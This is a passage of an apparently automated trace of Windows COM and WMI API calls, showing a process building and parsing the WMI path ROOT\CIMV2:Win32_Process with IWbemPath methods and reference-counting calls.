[6]=0x0, [7]=0x46)), ppvObject=0x1b2fca08 | out: ppvObject=0x1b2fca08*=0x1bf3ab00) returned 0x0 [0066.600] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf3ab00, riid=0x7fef1d16968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b2fcab0 | out: ppvObject=0x1b2fcab0*=0x0) returned 0x80004002 [0066.600] WbemDefPath:IUnknown:AddRef (This=0x1bf3ab00) returned 0x3 [0066.600] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf3ab00, riid=0x7fef1d16978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b2fc158 | out: ppvObject=0x1b2fc158*=0x0) returned 0x80004002 [0066.600] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf3ab00, riid=0x7fef1d16988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b2fc0e0 | out: ppvObject=0x1b2fc0e0*=0x0) returned 0x80004002 [0066.600] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf3ab00, riid=0x7fef1d15de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc0d0 | out: ppvObject=0x1b2fc0d0*=0x1bef8120) returned 0x0 [0066.601] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1bef8120, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b2fc0f8 | out: pCid=0x1b2fc0f8*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0066.601] WbemDefPath:IUnknown:Release (This=0x1bef8120) returned 0x3 [0066.601] CoGetContextToken (in: pToken=0x1b2fc180 | out: pToken=0x1b2fc180) returned 0x0 [0066.601] CoGetContextToken (in: pToken=0x1b2fc600 | out: pToken=0x1b2fc600) returned 0x0 [0066.601] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf3ab00, riid=0x7fef1d16998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc6c0 | out: ppvObject=0x1b2fc6c0*=0x0) returned 0x80004002 [0066.601] WbemDefPath:IUnknown:Release (This=0x1bf3ab00) returned 0x2 [0066.601] WbemDefPath:IUnknown:Release (This=0x1bf3ab00) returned 0x1 [0066.601] CoGetContextToken (in: pToken=0x1b2fd420 | out: pToken=0x1b2fd420) returned 0x0 [0066.601] CoGetContextToken (in: pToken=0x1b2fd320 | out: pToken=0x1b2fd320) returned 0x0 [0066.601] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf3ab00, riid=0x1b2fd480*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1b2fd450 | out: ppvObject=0x1b2fd450*=0x1bf3ab00) returned 0x0 [0066.601] WbemDefPath:IUnknown:AddRef (This=0x1bf3ab00) returned 0x3 [0066.601] WbemDefPath:IUnknown:Release (This=0x1bf3ab00) returned 0x2 [0066.601] WbemDefPath:IWbemPath:SetText (This=0x1bf3ab00, uMode=0x4, pszPath="ROOT\\CIMV2") returned 0x0 [0066.601] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bf3abc0, puCount=0x1b2fd890 | out: puCount=0x1b2fd890*=0x0) returned 0x0 [0066.601] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bf3ab00, puCount=0x1b2fd890 | out: puCount=0x1b2fd890*=0x2) returned 0x0 [0066.601] WbemDefPath:IWbemPath:GetText (in: This=0x1bf3ab00, lFlags=16, puBuffLength=0x1b2fd888*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd888*=0xb, pszText=0x0) returned 0x0 [0066.601] WbemDefPath:IWbemPath:GetText (in: This=0x1bf3ab00, lFlags=16, puBuffLength=0x1b2fd888*=0xb, pszText="0000000000" | out: puBuffLength=0x1b2fd888*=0xb, pszText="ROOT\\CIMV2") returned 0x0 [0066.601] WbemDefPath:IWbemPath:RemoveAllNamespaces (This=0x1bf3abc0) returned 0x0 [0066.601] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bf3ab00, puCount=0x1b2fd8f0 | out: puCount=0x1b2fd8f0*=0x2) returned 0x0 [0066.601] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x1bf3ab00, uIndex=0x0, puNameBufLength=0x1b2fd8e8*=0x0, pName=0x0 | out: puNameBufLength=0x1b2fd8e8*=0x5, pName=0x0) returned 0x0 [0066.602] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x1bf3ab00, uIndex=0x0, puNameBufLength=0x1b2fd8e8*=0x5, pName="0000" | out: puNameBufLength=0x1b2fd8e8*=0x5, pName="ROOT") returned 0x0 [0066.602] WbemDefPath:IWbemPath:SetNamespaceAt (This=0x1bf3abc0, uIndex=0x0, pszName="ROOT") returned 0x0 [0066.602] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x1bf3ab00, uIndex=0x1, puNameBufLength=0x1b2fd8e8*=0x0, pName=0x0 | out: puNameBufLength=0x1b2fd8e8*=0x6, pName=0x0) returned 0x0 [0066.602] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x1bf3ab00, uIndex=0x1, puNameBufLength=0x1b2fd8e8*=0x6, pName="00000" | out: puNameBufLength=0x1b2fd8e8*=0x6, pName="CIMV2") returned 0x0 [0066.602] WbemDefPath:IWbemPath:SetNamespaceAt (This=0x1bf3abc0, uIndex=0x1, pszName="CIMV2") returned 0x0 [0066.602] WbemDefPath:IWbemPath:GetClassName (in: This=0x1bf3abc0, puBuffLength=0x1b2fd928*=0x0, pszName=0x0 | out: puBuffLength=0x1b2fd928*=0x0, pszName=0x0) returned 0x8004103a [0066.602] WbemDefPath:IWbemPath:SetClassName (This=0x1bf3abc0, Name="Win32_Process") returned 0x0 [0066.602] WbemDefPath:IWbemPath:GetInfo (in: This=0x1bf3abc0, uRequestedInfo=0x0, puResponse=0x1b2fda08 | out: puResponse=0x1b2fda08*=0x20c16) returned 0x0 [0066.602] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bf3abc0, puCount=0x1b2fd960 | out: puCount=0x1b2fd960*=0x2) returned 0x0 [0066.602] WbemDefPath:IWbemPath:GetText (in: This=0x1bf3abc0, lFlags=4, puBuffLength=0x1b2fd958*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd958*=0x26, pszText=0x0) returned 0x0 [0066.602] WbemDefPath:IWbemPath:GetText (in: This=0x1bf3abc0, lFlags=4, puBuffLength=0x1b2fd958*=0x26, pszText="0000000000000000000000000000000000000" | out: puBuffLength=0x1b2fd958*=0x26, pszText="\\\\Q9IATRKPRH\\ROOT\\CIMV2:Win32_Process") returned 0x0 [0066.603] WbemDefPath:IWbemPath:GetInfo (in: This=0x1bf3abc0, uRequestedInfo=0x0, puResponse=0x1b2fd978 | out: puResponse=0x1b2fd978*=0x20c16) returned 0x0 [0066.603] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bf3abc0, puCount=0x1b2fd960 | out: puCount=0x1b2fd960*=0x2) returned 0x0 [0066.603] WbemDefPath:IWbemPath:GetText (in: This=0x1bf3abc0, lFlags=8, puBuffLength=0x1b2fd958*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd958*=0x18, pszText=0x0) returned 0x0 [0066.603] WbemDefPath:IWbemPath:GetText (in: This=0x1bf3abc0, lFlags=8, puBuffLength=0x1b2fd958*=0x18, pszText="00000000000000000000000" | out: puBuffLength=0x1b2fd958*=0x18, pszText="\\\\Q9IATRKPRH\\ROOT\\CIMV2") returned 0x0 [0066.603] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bf3aec0, puCount=0x1b2fd960 | out: puCount=0x1b2fd960*=0x2) returned 0x0 [0066.603] WbemDefPath:IWbemPath:GetText (in: This=0x1bf3aec0, lFlags=16, puBuffLength=0x1b2fd958*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd958*=0xb, pszText=0x0) returned 0x0 [0066.603] WbemDefPath:IWbemPath:GetText (in: This=0x1bf3aec0, lFlags=16, puBuffLength=0x1b2fd958*=0xb, pszText="0000000000" | out: puBuffLength=0x1b2fd958*=0xb, pszText="root\\cimv2") returned 0x0 [0066.603] WbemDefPath:IWbemPath:GetText (in: This=0x1bf3abc0, lFlags=2, puBuffLength=0x1b2fd968*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd968*=0xe, pszText=0x0) returned 0x0 [0066.603] WbemDefPath:IWbemPath:GetText (in: This=0x1bf3abc0, lFlags=2, puBuffLength=0x1b2fd968*=0xe, pszText="0000000000000" | out: puBuffLength=0x1b2fd968*=0xe, pszText="Win32_Process") returned 0x0 [0066.603] CoGetObjectContext (in: riid=0x28f4798*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fd8b8 | out: ppv=0x1b2fd8b8*=0x111f638) returned 0x0 [0066.603] IComThreadingInfo:GetCurrentApartmentType (in: This=0x111f638, pAptType=0x1b2fd8a8 | out: pAptType=0x1b2fd8a8*=1) returned 0x0 [0066.603] IUnknown:QueryInterface (in: This=0x111f638, riid=0x28f4778*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b2fd8b0 | out: ppvObject=0x1b2fd8b0*=0x0) returned 0x80004002 [0066.603] IUnknown:Release (This=0x111f638) returned 0x1 [0066.614] CoGetClassObject (in: rclsid=0x1185388*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef1d395c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fccd0 | out: ppv=0x1b2fccd0*=0x1bef8020) returned 0x0 [0066.614] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bef8020, riid=0x7fef1d5e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b2fcd18 | out: ppvObject=0x1b2fcd18*=0x0) returned 0x80004002 [0066.614] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1bef8020, pUnkOuter=0x0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fccc8 | out: ppvObject=0x1b2fccc8*=0x1bf3aa40) returned 0x0 [0066.614] WbemDefPath:IUnknown:Release (This=0x1bef8020) returned 0x0 [0066.614] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf3aa40, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fcad8 | out: ppvObject=0x1b2fcad8*=0x1bf3aa40) returned 0x0 [0066.615] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf3aa40, riid=0x7fef1d16968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b2fcb80 | out: ppvObject=0x1b2fcb80*=0x0) returned 0x80004002 [0066.615] WbemDefPath:IUnknown:AddRef (This=0x1bf3aa40) returned 0x3 [0066.615] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf3aa40, riid=0x7fef1d16978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b2fc228 | out: ppvObject=0x1b2fc228*=0x0) returned 0x80004002 [0066.615] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf3aa40, riid=0x7fef1d16988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b2fc1b0 | out: ppvObject=0x1b2fc1b0*=0x0) returned 0x80004002 [0066.615] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf3aa40, riid=0x7fef1d15de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc1a0 | out: ppvObject=0x1b2fc1a0*=0x1bef8060) returned 0x0 [0066.615] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1bef8060, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b2fc1c8 | out: pCid=0x1b2fc1c8*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0066.615] WbemDefPath:IUnknown:Release (This=0x1bef8060) returned 0x3 [0066.616] CoGetContextToken (in: pToken=0x1b2fc250 | out: pToken=0x1b2fc250) returned 0x0 [0066.616] CoGetContextToken (in: pToken=0x1b2fc6d0 | out: pToken=0x1b2fc6d0) returned 0x0 [0066.616] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf3aa40, riid=0x7fef1d16998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc790 | out: ppvObject=0x1b2fc790*=0x0) returned 0x80004002 [0066.616] WbemDefPath:IUnknown:Release (This=0x1bf3aa40) returned 0x2 [0066.616] WbemDefPath:IUnknown:Release (This=0x1bf3aa40) returned 0x1 [0066.616] CoGetContextToken (in: pToken=0x1b2fd4f0 | out: pToken=0x1b2fd4f0) returned 0x0 [0066.616] CoGetContextToken (in: pToken=0x1b2fd3f0 | out: pToken=0x1b2fd3f0) returned 0x0 [0066.616] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf3aa40, riid=0x1b2fd550*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1b2fd520 | out: ppvObject=0x1b2fd520*=0x1bf3aa40) returned 0x0 [0066.616] WbemDefPath:IUnknown:AddRef (This=0x1bf3aa40) returned 0x3 [0066.616] WbemDefPath:IUnknown:Release (This=0x1bf3aa40) returned 0x2 [0066.616] WbemDefPath:IWbemPath:SetText (This=0x1bf3aa40, uMode=0x4, pszPath="Win32_Process") returned 0x0 [0066.617] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bf3aec0, puCount=0x1b2fd960 | out: puCount=0x1b2fd960*=0x2) returned 0x0 [0066.617] WbemDefPath:IWbemPath:GetText (in: This=0x1bf3aec0, lFlags=8, puBuffLength=0x1b2fd958*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd958*=0xf, pszText=0x0) returned 0x0 [0066.617] WbemDefPath:IWbemPath:GetText (in: This=0x1bf3aec0, lFlags=8, puBuffLength=0x1b2fd958*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b2fd958*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0066.617] CoGetObjectContext (in: riid=0x28f4798*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fd7e8 | out: ppv=0x1b2fd7e8*=0x111f638) returned 0x0 [0066.617] IComThreadingInfo:GetCurrentApartmentType (in: This=0x111f638, pAptType=0x1b2fd7d8 | out: pAptType=0x1b2fd7d8*=1) returned 0x0 [0066.617] IUnknown:QueryInterface (in: This=0x111f638, riid=0x28f4778*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b2fd7e0 | out: ppvObject=0x1b2fd7e0*=0x0) returned 0x80004002 [0066.617] IUnknown:Release (This=0x111f638) returned 0x1 [0066.620] CoGetClassObject (in: rclsid=0x1185388*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef1d395c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fcc00 | out: ppv=0x1b2fcc00*=0x1bef7fa0) returned 0x0 [0066.620] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bef7fa0, riid=0x7fef1d5e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b2fcc48 | out: ppvObject=0x1b2fcc48*=0x0) returned 0x80004002 [0066.620] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1bef7fa0, pUnkOuter=0x0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fcbf8 | out: ppvObject=0x1b2fcbf8*=0x1bf3a980) returned 0x0 [0066.621] WbemDefPath:IUnknown:Release (This=0x1bef7fa0) returned 0x0 [0066.621] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf3a980, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fca08 | out: ppvObject=0x1b2fca08*=0x1bf3a980) returned 0x0 [0066.621] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf3a980, riid=0x7fef1d16968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b2fcab0 | out: ppvObject=0x1b2fcab0*=0x0) returned 0x80004002 [0066.621] WbemDefPath:IUnknown:AddRef (This=0x1bf3a980) returned 0x3 [0066.622] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf3a980, riid=0x7fef1d16978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b2fc158 | out: ppvObject=0x1b2fc158*=0x0) returned 0x80004002 [0066.622] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf3a980, riid=0x7fef1d16988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b2fc0e0 | out: ppvObject=0x1b2fc0e0*=0x0) returned 0x80004002 [0066.622] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf3a980, riid=0x7fef1d15de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc0d0 | out: ppvObject=0x1b2fc0d0*=0x1bef7fe0) returned 0x0 [0066.622] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1bef7fe0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b2fc0f8 | out: pCid=0x1b2fc0f8*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0066.622] WbemDefPath:IUnknown:Release (This=0x1bef7fe0) returned 0x3 [0066.622] CoGetContextToken (in: pToken=0x1b2fc180 | out: pToken=0x1b2fc180) returned 0x0 [0066.622] CoGetContextToken (in: pToken=0x1b2fc600 | out: pToken=0x1b2fc600) returned 0x0 [0066.622] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf3a980, riid=0x7fef1d16998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc6c0 | out: ppvObject=0x1b2fc6c0*=0x0) returned 0x80004002 [0066.622] WbemDefPath:IUnknown:Release (This=0x1bf3a980) returned 0x2 [0066.622] WbemDefPath:IUnknown:Release (This=0x1bf3a980) returned 0x1 [0066.622] CoGetContextToken (in: pToken=0x1b2fd420 | out: pToken=0x1b2fd420) returned 0x0 [0066.622] CoGetContextToken (in: pToken=0x1b2fd320 | out: pToken=0x1b2fd320) returned 0x0 [0066.622] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf3a980, riid=0x1b2fd480*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1b2fd450 | out: ppvObject=0x1b2fd450*=0x1bf3a980) returned 0x0 [0066.623] WbemDefPath:IUnknown:AddRef (This=0x1bf3a980) returned 0x3 [0066.623] WbemDefPath:IUnknown:Release (This=0x1bf3a980) returned 0x2 [0066.623] WbemDefPath:IWbemPath:SetText (This=0x1bf3a980, uMode=0x4, pszPath="\\\\.\\root\\cimv2") returned 0x0 [0066.623] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bf3aa40, puCount=0x1b2fd890 | out: puCount=0x1b2fd890*=0x0) returned 0x0 [0066.623] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bf3a980, puCount=0x1b2fd890 | out: puCount=0x1b2fd890*=0x2) returned 0x0 [0066.623] WbemDefPath:IWbemPath:GetText (in: This=0x1bf3a980, lFlags=16, puBuffLength=0x1b2fd888*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd888*=0xb, pszText=0x0) returned 0x0 [0066.623] WbemDefPath:IWbemPath:GetText (in: This=0x1bf3a980, lFlags=16, puBuffLength=0x1b2fd888*=0xb, pszText="0000000000" | out: puBuffLength=0x1b2fd888*=0xb, pszText="root\\cimv2") returned 0x0 [0066.623] WbemDefPath:IWbemPath:RemoveAllNamespaces (This=0x1bf3aa40) returned 0x0 [0066.623] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bf3a980, puCount=0x1b2fd8f0 | out: puCount=0x1b2fd8f0*=0x2) returned 0x0 [0066.623] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x1bf3a980, uIndex=0x0, puNameBufLength=0x1b2fd8e8*=0x0, pName=0x0 | out: puNameBufLength=0x1b2fd8e8*=0x5, pName=0x0) returned 0x0 [0066.623] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x1bf3a980, uIndex=0x0, puNameBufLength=0x1b2fd8e8*=0x5, pName="0000" | out: puNameBufLength=0x1b2fd8e8*=0x5, pName="root") returned 0x0 [0066.623] WbemDefPath:IWbemPath:SetNamespaceAt (This=0x1bf3aa40, uIndex=0x0, pszName="root") returned 0x0 [0066.623] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x1bf3a980, uIndex=0x1, puNameBufLength=0x1b2fd8e8*=0x0, pName=0x0 | out: puNameBufLength=0x1b2fd8e8*=0x6, pName=0x0) returned 0x0 [0066.623] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x1bf3a980, uIndex=0x1, puNameBufLength=0x1b2fd8e8*=0x6, pName="00000" | out: puNameBufLength=0x1b2fd8e8*=0x6, pName="cimv2") returned 0x0 [0066.623] WbemDefPath:IWbemPath:SetNamespaceAt (This=0x1bf3aa40, uIndex=0x1, pszName="cimv2") returned 0x0 [0066.623] WbemDefPath:IWbemPath:GetServer (in: This=0x1bf3a980, puNameBufLength=0x1b2fd8e0*=0x0, pName=0x0 | out: puNameBufLength=0x1b2fd8e0*=0x2, pName=0x0) returned 0x0 [0066.624] WbemDefPath:IWbemPath:GetServer (in: This=0x1bf3a980, puNameBufLength=0x1b2fd8e0*=0x2, pName="0" | out: puNameBufLength=0x1b2fd8e0*=0x2, pName=".") returned 0x0 [0066.624] WbemDefPath:IWbemPath:GetServer (in: This=0x1bf3aa40, puNameBufLength=0x1b2fd8e0*=0x0, pName=0x0 | out: puNameBufLength=0x1b2fd8e0*=0x2, pName=0x0) returned 0x0 [0066.624] WbemDefPath:IWbemPath:GetServer (in: This=0x1bf3aa40, puNameBufLength=0x1b2fd8e0*=0x2, pName="0" | out: puNameBufLength=0x1b2fd8e0*=0x2, pName=".") returned 0x0 [0066.624] WbemDefPath:IWbemPath:GetInfo (in: This=0x1bf3aa40, uRequestedInfo=0x0, puResponse=0x1b2fd978 | out: puResponse=0x1b2fd978*=0xc15) returned 0x0 [0066.624] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bf3aec0, puCount=0x1b2fd8d0 | out: puCount=0x1b2fd8d0*=0x2) returned 0x0 [0066.624] WbemDefPath:IWbemPath:GetText (in: This=0x1bf3aec0, lFlags=4, puBuffLength=0x1b2fd8c8*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd8c8*=0xf, pszText=0x0) returned 0x0 [0066.624] WbemDefPath:IWbemPath:GetText (in: This=0x1bf3aec0, lFlags=4, puBuffLength=0x1b2fd8c8*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b2fd8c8*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0066.624] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bf3aec0, puCount=0x1b2fd8a0 | out: puCount=0x1b2fd8a0*=0x2) returned 0x0 [0066.624] WbemDefPath:IWbemPath:GetText (in: This=0x1bf3aec0, lFlags=4, puBuffLength=0x1b2fd898*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd898*=0xf, pszText=0x0) returned 0x0 [0066.624] WbemDefPath:IWbemPath:GetText (in: This=0x1bf3aec0, lFlags=4, puBuffLength=0x1b2fd898*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b2fd898*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0066.624] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bf3aa40, puCount=0x1b2fd960 | out: puCount=0x1b2fd960*=0x2) returned 0x0 [0066.624] WbemDefPath:IWbemPath:GetText (in: This=0x1bf3aa40, lFlags=4, puBuffLength=0x1b2fd958*=0x0, pszText=0x0 | out: 